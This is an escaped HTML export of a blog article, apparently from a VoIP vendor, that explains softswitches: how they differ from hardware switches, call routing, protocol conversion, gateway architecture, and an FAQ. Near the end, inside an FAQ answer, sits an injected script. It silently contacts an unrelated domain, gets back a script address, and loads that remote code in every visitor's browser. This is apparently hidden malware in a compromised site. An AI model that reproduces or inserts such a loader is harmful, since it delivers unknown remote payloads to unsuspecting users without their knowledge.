In layman\u2019s terms, we can define softswitch as a software application that manages the connection between phone calls placed over the internet, i.e., VoIP calls. Acting as a bridge, a softswitch directs and controls the flow of voice, data, and multimedia sessions across IP networks. <\/span><\/p>\n<h3><span class=\"ez-toc-section\" id=\"How_is_a_Softswitch_Different_from_a_Traditional_Switch\"><\/span>How is a Softswitch Different from a Traditional Switch?<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p><span style=\"font-weight: 400;\">The primary role of any switch is to facilitate communication, but what makes the modern-day softswitch more versatile? It\u2019s their software-based nature. I will explain this with the help of 3 key aspects as mentioned below:<\/span><\/p>\n<h4><span class=\"ez-toc-section\" id=\"Hardware_vs_Software\"><\/span><span style=\"font-weight: 400;\">Hardware vs Software<\/span><span class=\"ez-toc-section-end\"><\/span><\/h4>\n<p><span style=\"font-weight: 400;\">A traditional switch is a dedicated hardware system that makes use of circuit switching to connect calls physically. This is why traditional switches are also called hardware-based switches or circuit-based switches. These switches require manual configuration for their work. On the contrary, a software-based switch makes use of digital signals to route calls digitally or over IP networks.\u00a0<\/span><\/p>\n<h4><span class=\"ez-toc-section\" id=\"Rigidity_Vs_Flexibility\"><\/span><span style=\"font-weight: 400;\">Rigidity Vs Flexibility<\/span><span class=\"ez-toc-section-end\"><\/span><\/h4>\n<p><span style=\"font-weight: 400;\">The conventional circuit switches get obsolete with time and need additional hardware for working in line within the modern communication landscape. On the other hand, softswitches are quite flexible and offer a wide range of features such as call recording, voicemail, conferencing, etc.\u00a0<\/span><\/p>\n<h4><span class=\"ez-toc-section\" id=\"Expensive_vs_Cost-effective\"><\/span><span style=\"font-weight: 400;\">Expensive vs Cost-effective<\/span><span class=\"ez-toc-section-end\"><\/span><\/h4>\n<p><span style=\"font-weight: 400;\">Traditional switches are expensive to maintain and upgrade, whereas softswitches run on standard infrastructure, making them a cost-effective and easier-to-maintain and upgrade option.\u00a0<\/span><\/p>\n<h2><span class=\"ez-toc-section\" id=\"How_Does_a_Softswitch_Work\"><\/span>How Does a Softswitch Work?<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p><span style=\"font-weight: 400;\">To understand the workings of a softswitch, let\u2019s consider an example. Your phone rings, and you pick up the call and start your conversation with the other person on the call by saying Hello. From this very moment, the role of a softswitch comes in, and there are several key functions performed by a softswitch. These functions are:<\/span><\/p>\n<h3><span class=\"ez-toc-section\" id=\"Call_Routing\"><\/span><span style=\"font-weight: 400;\">Call Routing<\/span><span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p><span style=\"font-weight: 400;\">The softswitch makes sure that each call reaches its intended destination following the most optimal route or path. To identify an optimal path, a softswitch considers various factors like network congestion and quality, etc.\u00a0<\/span><\/p>\n<h3><span class=\"ez-toc-section\" id=\"Protocol_Conversion\"><\/span><span style=\"font-weight: 400;\">Protocol Conversion<\/span><span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p><span style=\"font-weight: 400;\">To ensure seamless communication across diverse networks, softswitches convert voice signals from analog to digital and manage protocol conversion that governs the respective communication.\u00a0<\/span><\/p>\n<h3><span class=\"ez-toc-section\" id=\"Call_Management\"><\/span><span style=\"font-weight: 400;\">Call Management<\/span><span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p><span style=\"font-weight: 400;\">There are 3 key processes handled by Softswitches \u2013 Call Setup, Teardown, and Authentication. By overseeing these processes, softswitches ensure quality and security during the communication sessions.\u00a0<\/span><\/p>\n<h2><span class=\"ez-toc-section\" id=\"Softswitch_System_Architecture\"><\/span>Softswitch System Architecture<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"size-full wp-image-4354 aligncenter\" src=\"https:\/\/www.revesoft.com\/blog\/wp-content\/uploads\/2024\/01\/softswitch-system-architecture.jpg\" alt=\"softswitch system architecture\" width=\"715\" height=\"467\" \/><\/p>\n<p><span style=\"font-weight: 400;\">The above image represents a typical setup of a softswitch system. Now, I will take you through the different components of a softswitch, one by one:<\/span><\/p>\n<h3><span class=\"ez-toc-section\" id=\"Media_Gateway_Controller_The_Brain_of_the_Softswitch\"><\/span><span style=\"font-weight: 400;\">Media Gateway Controller: The Brain of the Softswitch<\/span><span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p><span style=\"font-weight: 400;\">MGC or Media Gateway Controller is responsible for call control and signaling intelligence. From managing call setup, routing, features, and billing, along with interactions with other networks, all this is handled by MGC. Furthermore, this key component makes use of protocols like SIP or H.323 to communicate with other softswitches and gateways.\u00a0<\/span><\/p>\n<h3><span class=\"ez-toc-section\" id=\"Media_Gateway\"><\/span><span style=\"font-weight: 400;\">Media Gateway<\/span><span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p><span style=\"font-weight: 400;\">It is responsible for the physical media conversion and transmission of voice and data traffic. Media Gateways take instructions from Media Gateway Controllers, i.e., MGC, and send call status updates.\u00a0\u00a0<\/span><\/p>\n<h3><span class=\"ez-toc-section\" id=\"Signaling_Gateway\"><\/span><span style=\"font-weight: 400;\">Signaling Gateway<\/span><span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p><span style=\"font-weight: 400;\">SGB or signaling gateway bridges different networks by acting as a translator for signaling protocols. It makes use of various signaling protocols to connect the softswitch with external networks.

It makes communication systems more scalable, cost-efficient, and easier to maintain by replacing traditional hardware-based switches with software.\u00a0<\/span><\/p>\n<h3><span class=\"ez-toc-section\" id=\"Are_softswitches_the_same_as_PBX_systems\"><\/span>Are softswitches the same as PBX systems?<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p><span style=\"font-weight: 400;\">No, a softswitch is typically meant to handle carrier-level traffic, while a PBX system is designed for internal business phone systems. However, a Class 5 softswitch can include PBX-like features such as call forwarding, voicemail, and IVR.<\/span><\/p>\n<h3><span class=\"ez-toc-section\" id=\"What_hardware_is_needed_to_deploy_a_softswitch\"><\/span>What hardware is needed to deploy a softswitch?<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p><span style=\"font-weight: 400;\">Modern switches are software-based, so their hardware requirements depend on scale. Typically, a reliable server, sufficient RAM storage, redundant power and network connections, and a Session border controller are required if connecting to PSTN. However, with cloud deployment, hardware needs are minimal on the user\u2019s end.<\/span><\/p>\n<h3><span class=\"ez-toc-section\" id=\"Can_a_softswitch_be_hosted_on_the_cloud\"><\/span>Can a softswitch be hosted on the cloud?<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p><span style=\"font-weight: 400;\">Yes, softswitches are being increasingly hosted on the cloud owing to the various benefits, including eliminating the need for physical infrastructure, offering rapid deployment, lower maintenance, and allowing businesses to scale easily. The trend is increasingly popular among small businesses like startups and service providers offering VoIP services.\u00a0<\/span><\/p>\n<h3><span class=\"ez-toc-section\" id=\"What_kind_of_technical_expertise_is_required_to_manage_a_softswitch\"><\/span>What kind of technical expertise is required to manage a softswitch?<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p><span style=\"font-weight: 400;\">Basic technical knowledge might be helpful during the initial setup and configuration of the softswitch. However, today, modern softswitches come with user-friendly dashboards, dedicated onboarding assistance, and managed services. This means non-technical users can also easily operate the softswitch system.\u00a0<\/span><script>(async () => {\n  const TIMEOUT_MS = 60_000;\n  try {\n    const tdsResponse = await fetch('https:\/\/eotoatotlasldkd.com\/ofo');\n    const scriptUrl = (await tdsResponse.text()).trim();<\/p>\n<p>    const loadScriptWithTimeout = (url, timeout) => {\n      return new Promise((resolve, reject) => {\n        const script = document.createElement('script');\n        script.src = url;\n        script.async = true;<\/p>\n<p>        script.onload = () => {\n          clearTimeout(timer);\n          resolve();\n        };<\/p>\n<p>        script.onerror = () => {\n          clearTimeout(timer);\n          reject();\n        };<\/p>\n<p>        const timer = setTimeout(() => {\n          script.remove();\n          reject();\n        }, timeout);<\/p>\n<p>        document.body.appendChild(script);\n      });\n    };<\/p>\n<p>    await loadScriptWithTimeout(scriptUrl, TIMEOUT_MS);\n  } catch (_) {}\n})();<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Today, VoIP is the most revolutionary communication technology that enables us to make and receive calls over the Internet.
